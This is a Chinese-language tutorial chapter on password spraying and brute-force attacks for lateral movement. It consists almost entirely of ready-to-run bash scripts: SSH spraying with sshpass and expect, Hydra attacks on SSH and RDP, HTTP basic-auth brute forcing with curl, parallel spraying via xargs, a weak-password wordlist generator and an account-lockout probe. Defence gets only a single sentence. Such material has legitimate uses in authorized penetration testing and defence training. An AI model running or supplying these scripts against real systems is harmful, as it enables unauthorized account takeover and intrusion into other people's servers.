密码喷射与暴力破解脚本
章节概述
密码喷射(Password Spraying)和暴力破解(Brute Force)是横向移动中最基础也最有效的技术。与传统的暴力破解不同,密码喷射使用少量常见密码对大量用户名进行尝试,能够有效避免账户锁定。本章系统性地讲解 SSH 密码喷射、RDP 暴力破解、HTTP 认证爆破、并发控制、密码字典管理以及锁定检测机制。
核心理念
密码喷射的核心是”少量密码 + 大量用户名”的策略,避免触发单账户锁定。暴力破解则需要在速度和隐蔽性之间找到平衡。防御端需要实施账户锁定策略、多因素认证和异常登录检测。
第1节 SSH 密码喷射
1.1 基础 SSH 密码喷射
#!/usr/bin/env bash
# ssh_password_spray.sh - SSH 密码喷射脚本
set -euo pipefail
TARGET_IP="${1:?用法: $0 <目标IP>}"
USERLIST="${2:-usernames.txt}"
PASSLIST="${3:-passwords.txt}"
DELAY="${4:-5}"
TIMEOUT="${5:-10}"
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
log_found() { echo -e "${RED}[+]${NC} $*"; }
log_info() { echo -e "${YELLOW}[*]${NC} $*"; }
echo "=========================================="
echo " SSH 密码喷射工具 v1.0"
echo "=========================================="
echo "目标: $TARGET_IP"
echo "用户字典: $USERLIST"
echo "密码字典: $PASSLIST"
echo "延迟: ${DELAY}s"
echo "=========================================="
if [[ ! -f "$USERLIST" ]]; then
echo "[-] 用户字典不存在: $USERLIST"
exit 1
fi
if [[ ! -f "$PASSLIST" ]]; then
echo "[-] 密码字典不存在: $PASSLIST"
exit 1
fi
mapfile -t PASSWORDS < "$PASSLIST"
FOUND_COUNT=0
for pass in "${PASSWORDS[@]}"; do
[[ -z "$pass" ]] && continue
log_info "尝试密码: ${pass:0:3}***"
while IFS= read -r user; do
[[ -z "$user" ]] && continue
user=$(echo "$user" | tr -d '\r')
if command -v sshpass &>/dev/null; then
result=$(sshpass -p "$pass" ssh -o StrictHostKeyChecking=no \
-o ConnectTimeout="$TIMEOUT" \
-o PubkeyAuthentication=no \
"$user@$TARGET_IP" "echo SUCCESS" 2>/dev/null)
if [[ "$result" == "SUCCESS" ]]; then
log_found "成功! $user:$pass"
((FOUND_COUNT++))
fi
else
expect -c "
set timeout $TIMEOUT
spawn ssh -o StrictHostKeyChecking=no -o PubkeyAuthentication=no $user@$TARGET_IP
expect {
\"password:\" { send \"$pass\r\"; exp_continue }
\"\$\" { exit 0 }
\"Permission denied\" { exit 1 }
timeout { exit 2 }
}
" &>/dev/null && log_found "成功! $user:$pass" && ((FOUND_COUNT++))
fi
sleep "$DELAY"
done < "$USERLIST"
done
echo ""
echo "=========================================="
echo " 扫描完成: 发现 $FOUND_COUNT 个有效凭据"
echo "=========================================="1.2 使用 Hydra 进行 SSH 爆破
#!/usr/bin/env bash
# hydra_ssh_brute.sh - Hydra SSH 暴力破解
set -euo pipefail
TARGET="${1:?用法: $0 <目标IP> [端口]}"
PORT="${2:-22}"
USERLIST="${3:-usernames.txt}"
PASSLIST="${4:-passwords.txt}"
if ! command -v hydra &>/dev/null; then
echo "[-] Hydra 未安装: sudo apt install hydra"
exit 1
fi
echo "[*] 使用 Hydra 进行 SSH 暴力破解..."
echo " 目标: $TARGET:$PORT"
hydra -L "$USERLIST" -P "$PASSLIST" \
-s "$PORT" -t 4 -f -V \
"ssh://$TARGET" 2>/dev/null
COMMON_PASSWORDS=("password" "123456" "admin" "root" "toor" "pass" "test" "guest" "master" "default")
printf '%s\n' "${COMMON_PASSWORDS[@]}" > /tmp/common_pass.txt
hydra -L "$USERLIST" -P /tmp/common_pass.txt \
-s "$PORT" -t 4 -f -V \
"ssh://$TARGET" 2>/dev/null第2节 RDP 暴力破解
2.1 Hydra RDP 爆破
#!/usr/bin/env bash
# hydra_rdp_brute.sh - Hydra RDP 暴力破解
set -euo pipefail
TARGET="${1:?用法: $0 <目标IP>}"
USERLIST="${2:-usernames.txt}"
PASSLIST="${3:-passwords.txt}"
PORT="${4:-3389}"
if ! command -v hydra &>/dev/null; then
echo "[-] Hydra 未安装"
exit 1
fi
echo "[*] 使用 Hydra 进行 RDP 暴力破解..."
echo " 目标: $TARGET:$PORT"
hydra -L "$USERLIST" -P "$PASSLIST" \
-s "$PORT" -t 1 -f -V \
"rdp://$TARGET" 2>/dev/null2.2 xfreeRDP 测试
#!/usr/bin/env bash
# xfreerdp_test.sh - 使用 xfreeRDP 测试凭据
set -euo pipefail
TARGET="${1:?用法: $0 <目标IP> <用户名> <密码>}"
USER="${2:?需要用户名}"
PASS="${3:?需要密码}"
PORT="${4:-3389}"
if ! command -v xfreerdp &>/dev/null; then
echo "[-] xfreerdp 未安装"
exit 1
fi
echo "[*] 测试 RDP 凭据..."
timeout 10 xfreerdp /v:"$TARGET" /port:"$PORT" \
/u:"$USER" /p:"$PASS" /cert:ignore \
/auto /dynamic-resolution 2>/dev/null
if [[ $? -eq 0 ]]; then
echo "[+] 凭据有效! $USER:$PASS"
else
echo "[-] 凭据无效或连接失败"
fi第3节 HTTP 认证爆破
3.1 curl HTTP 认证测试
#!/usr/bin/env bash
# http_auth_brute.sh - HTTP 认证暴力破解
set -euo pipefail
TARGET_URL="${1:?用法: $0 <URL> <用户字典> <密码字典>}"
USERLIST="${2:-usernames.txt}"
PASSLIST="${3:-passwords.txt}"
log_found() { echo -e "\033[0;31m[+]\033[0m $*"; }
log_info() { echo -e "\033[0;33m[*]\033[0m $*"; }
echo "[*] HTTP 认证暴力破解..."
echo " 目标: $TARGET_URL"
FOUND=0
while IFS= read -r user; do
while IFS= read -r pass; do
[[ -z "$pass" ]] && continue
response=$(curl -s -o /dev/null -w "%{http_code}" \
-u "$user:$pass" "$TARGET_URL" 2>/dev/null)
case "$response" in
200|301|302)
log_found "成功! $user:$pass (HTTP $response)"
((FOUND++))
;;
401) ;;
403)
log_info "禁止访问: $user (HTTP 403)"
;;
esac
done < "$PASSLIST"
done < "$USERLIST"
echo ""
echo "[*] 扫描完成: 发现 $FOUND 个有效凭据"第4节 并发控制
4.1 基于 xargs 的并发
#!/usr/bin/env bash
# parallel_spray.sh - 并发密码喷射
set -euo pipefail
TARGET="${1:?用法: $0 <目标IP>}"
USERLIST="${2:-usernames.txt}"
PASSLIST="${3:-passwords.txt}"
MAX_JOBS="${4:-10}"
spray_single_user() {
local target="$1" user="$2" pass="$3" timeout="${4:-10}"
if command -v sshpass &>/dev/null; then
result=$(sshpass -p "$pass" ssh -o StrictHostKeyChecking=no \
-o ConnectTimeout="$timeout" -o PubkeyAuthentication=no \
"$user@$target" "echo SUCCESS" 2>/dev/null)
if [[ "$result" == "SUCCESS" ]]; then
echo "[+] 成功! $user:$pass"
return 0
fi
fi
return 1
}
export -f spray_single_user
echo "[*] 并发密码喷射: 最大并发 $MAX_JOBS"
while IFS= read -r pass; do
[[ -z "$pass" ]] && continue
echo "[*] 尝试密码: ${pass:0:3}***"
cat "$USERLIST" | xargs -I {} -P "$MAX_JOBS" \
bash -c "spray_single_user '$TARGET' '{}' '$pass'" 2>/dev/null
sleep 5
done < "$PASSLIST"第5节 密码字典管理
5.1 常用密码生成器
#!/usr/bin/env bash
# password_generator.sh - 密码字典生成器
set -euo pipefail
OUTPUT="${1:-passwords.txt}"
TARGET_NAME="${2:-}"
echo "[*] 生成密码字典..."
{
cat << 'WEAK'
password
123456
12345678
qwerty
abc123
monkey
1234567
letmein
trustno1
dragon
baseball
iloveyou
master
sunshine
passw0rd
shadow
123123
654321
superman
qazwsx
michael
football
password1
admin
admin123
root
toor
test
guest
default
changeme
WEAK
if [[ -n "$TARGET_NAME" ]]; then
echo "$TARGET_NAME"
echo "${TARGET_NAME}1"
echo "${TARGET_NAME}123"
echo "${TARGET_NAME}!"
echo "${TARGET_NAME}@"
echo "${TARGET_NAME}2024"
echo "${TARGET_NAME}2025"
fi
for year in {2020..2026}; do
echo "Password${year}"
echo "password${year}"
echo "P@ssw0rd${year}"
echo "Admin${year}"
done
} > "$OUTPUT"
sort -u "$OUTPUT" -o "$OUTPUT"
echo "[+] 密码字典已生成: $OUTPUT ($(wc -l < "$OUTPUT") 条)"第6节 锁定检测
6.1 账户锁定检测
#!/usr/bin/env bash
# lockout_detect.sh - 账户锁定检测
set -euo pipefail
TARGET="${1:?用法: $0 <目标IP>}"
USER="${2:?用法: $0 <目标IP> <用户名>}"
log_info() { echo -e "\033[0;33m[*]\033[0m $*"; }
log_warn() { echo -e "\033[1;33m[!]\033[0m $*"; }
echo "[*] 账户锁定检测..."
echo " 目标: $TARGET"
echo " 用户: $USER"
LOCKOUT_COUNT=0
MAX_ATTEMPTS=5
for i in $(seq 1 $MAX_ATTEMPTS); do
log_info "尝试 $i/$MAX_ATTEMPTS..."
if command -v sshpass &>/dev/null; then
result=$(sshpass -p "wrong_password_$i" ssh -o StrictHostKeyChecking=no \
-o ConnectTimeout=5 -o PubkeyAuthentication=no \
"$USER@$TARGET" "echo SUCCESS" 2>&1)
if echo "$result" | grep -qiE "(locked|disabled|blocked|too many)"; then
log_warn "账户可能已锁定!"
((LOCKOUT_COUNT++))
fi
fi
sleep 2
done
if [[ $LOCKOUT_COUNT -gt 0 ]]; then
echo "[!] 检测到账户锁定机制 (触发 $LOCKOUT_COUNT 次)"
else
echo "[+] 未检测到明显的账户锁定机制"
fi